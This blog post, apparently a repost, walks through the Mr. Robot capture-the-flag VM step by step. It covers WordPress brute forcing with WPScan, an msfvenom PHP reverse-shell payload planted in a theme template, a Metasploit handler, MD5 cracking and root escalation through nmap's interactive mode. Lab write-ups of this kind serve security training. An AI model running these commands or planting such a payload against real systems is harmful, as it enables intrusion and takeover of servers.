Chuyển đến nội dung chính

Hack the Mr. Robot VM (CTF Challenge)

This is our another article of root2boot penetration testing challenge. We will walk through a exploitable framework Mr. Robot. It is based on the TV show, Mr. Robot, it has three keys hidden in different locations. The main goal is to find all three tokens hidden in the system. Each key is progressively difficult to find. Breaking into it isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
First Download the Mr Robot Lab from here
First of all we have to find its IP address and for that go to the terminal of your Kali and type :
netdiscover
Upon the execution of the above command we will know about all the IP addresses in our network. Our target IP is 192.168.0.102, let us scan it.
To scan our target IP we will use aggressive scan(-A)
nmap -A 192.168.0.102
The scan’s result shows us the open ports are : 22, 80, 443. As the 80 port is open we can try and open this IP in our browser.
And yes, it opens which further confirms our target.
Next we will apply nikto command to it. Nitko command will help us to gather information like its files and all the other major stuff that we ought to know about our target. So, therefore, type :
nitko -h 192.168.0.102
From the result we can gather that there a text file with the name of robots.txt which might provide us with some further information. So now let us try and open this file in the browser
Opened the key-1-of-3.txt file from the browser and I also had the first of the 3 keys mentioned in the readme.
g
Now open fsocity.dic file in browser which is a dictionary file. Let us first try and open this dictionary file the browser.
Once we open the said dictionary file in the browser, it asks us to download it. Going ahead we downloaded and opened it. It is a file which may contains username and passwords.
So now that we know we might have username and passwords, we will try and logon into our target. One by one we have tried every username and it has given the error that the username doesn’t exist.  But when we used the name elliot it gave us the error that the password is incorrect.
With this we know one thing for sure that elliot is a correct username and now we just have to find a password for it.
Our best guess to find the password the same dictionary file from which we found the username. Thus, moving forward we will use WPScan to find our password from the same file. For this open WPScan in the terminal of Kali and type :
ruby ./wpscan.rb –url http://192.168.0.102 –wordlist /root/Desktop/fsocity.dic –username elliot
Here,
./wpscan.rb –> starts the WPScan
–url –> denotes the URL onn which WPScan will work
http://192.168.0.102 –> is our URL
–wordlist –> denotes the path of the dictionary file
–username –> denotes username
elliot –> username
Once the command starts working it will take its time to execute as the dictionary file we got is huge. So, sit back and relax and let the WPScan do its work.
When the execution is completed (which may time much time as in our case it took almost 4 hours)  you will have the password for the username elliot which is ER28-0652.
Using the password, logon in to the target.
One you have logged in, make the malicious file that you got to upload in it. Generate code through msfvenom command :
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 -f raw
Copy the code from <?php to die(); and paste it on template(and save it)
Now you have access to a WordPress admin console is to replace one of the theme templates with some PHP of your own. I decided to try for a reverse shell by editing the 404.php theme and replacing the contents with the msfvenom generated shell
And simultaneously open metasploit and type :
Use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 4444
exploit

Once the exploit is executed, open the path of the template in the browser as shown :
Browsing to http://192.168.0.102/wp-content/themes/twentyfifteen/404.php and press enter

Once you open the template path in the browser then you will have a meterpreter session and once you have it, go to the shell and type :
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
After doing the above, you will enter a user of our target and to know all the information about the user type :
ls -lsa (gives us the information about the user we just entered)
cd home (take us in the folder home)
ls -lsa (gives the information about the home folder0
cd robot (takes us into the robot folder)
Now, to know the information about the robot folder/file we will type :
ls -lsa
We now know that there are two important files, one of them is a text file other is password in the form of MD5. If we try to open the text file by typing :
cat key-2-of-3.txt
It will not open as we do not have the permission to do so. But now let us try and open the MD5 file and for that type :
cat password.raw-md5
Executing the above command will give a MD5 value(hash value) of the password as you can see below :
We will use md5cracker.org (online md5 value cracker) to crack this MD5 value. Enter the MD5 value in to the text box and click on crack/encrypt button
The value will translate to abcdefghijklmnopqrstuvwxyz  as shown below
Now in the terminal try to switch the user to robot by the command :
su robot
Following the command it will ask you for the password. Enter the MD5 cracked password here and you will enter the robot user and to gain its information type :
ls -lsa
Now, try to open the remaining text file by typing :
cat key-2-of-3.txt
here i will read the second key file

Next type the following :
nmap
Nmap supported an option called “interactive.” With this option, users were able to execute shell commands by using a nmap “shell” (interactive shell). 
nmap –interactive
With the above commands you will enter nmap then type :
!sh
id (to know the users)
cd /root (lets you to enter root)

Once you have enetered the root, type :
ls -lsa
cat key-3-of-3.txt

And upon the execution of we will obtain 3 of 3 keys, hence entering Mr. Robot. There are many ways to perform the above but this methods is the easiest. We hope you find it effective and interesting and it helps you to improve.

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast

Bài đăng phổ biến từ blog này

Tổng Hợp Về Tấn công XSS và Bypass

1-        XSS là gì ?        XSS(  Cross-Site Scripting ) là một trong những kỹ thuật hack website phổ biến nhất hiện nay bằng cách chèn vào url, chèn qua các thanh tìm kiếm hoặc chèn ở bất cứ 1 textbox nào những thẻ HTML hoặc những đoạn mã script nguy hiểm, từ đó chiếm quyền điều khiển của victim hoặc thực hiện những mệnh lệnh mà hacker đưa ra. 2-        Nguyên lý hoạt động XSS        Khi website đã bị chèn các thẻ html hay những đoạn mã script nghĩa là đã gửi các request từ máy client đến server  nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Khi người sử dụng click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker qua email hoặc 1 file nào đó trên host đã được thiết lập từ trước hoặc bị dẫn tới 1 trang fishing mà hacker đã thiết lập từ trước hay bị cài đặt các chương trình virus, Trojan, backdoor...

Pentest lab - Metasploitable 2

Today I will walk through different ways of exploiting Metasploitable 2, the newer release of Rapid7’s popular vulnerable machine. First, what is Metasploitable? Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. In my lab environment, the IP of the attacker machine is 192.168.127.159, and the victim machine is 192.168.127.154. Since this is a test lab, I won’t be concerned about stealth. Instead, I will try to get the most information out of the scans. Let’s start by port scanning the target with nmap. I did a full port, aggresive scan against the target. Here are the results. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 ...

Hack the Pentester Lab: from SQL injection to Shell II (Blind SQL Injection)

Today we are going to perform penetration testing with part II of previous lab, download it from  here . Now install the iso image in VM ware and start it. In this lab task level is intermediate and challenge is to gain access of administration console and then upload a PHP webshell. Start Kali Linux then open the terminal and  type netdiscover  command for scanning network. Here  192.168.1.102  is my target IP which is shown in the screenshot. Now explore this IP in browser. When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test; ruxcon; 2010; all pictures; admin. Now  Click  on  test . The given URL : http://192.168.1.102/cat.php?id=1  will run sql query for  ID 1  now let try to find out whether the above URL is vulnerable to sql injection or not by adding( ‘) apostrophe at last of URL: http://192.168.1.102/cat.p...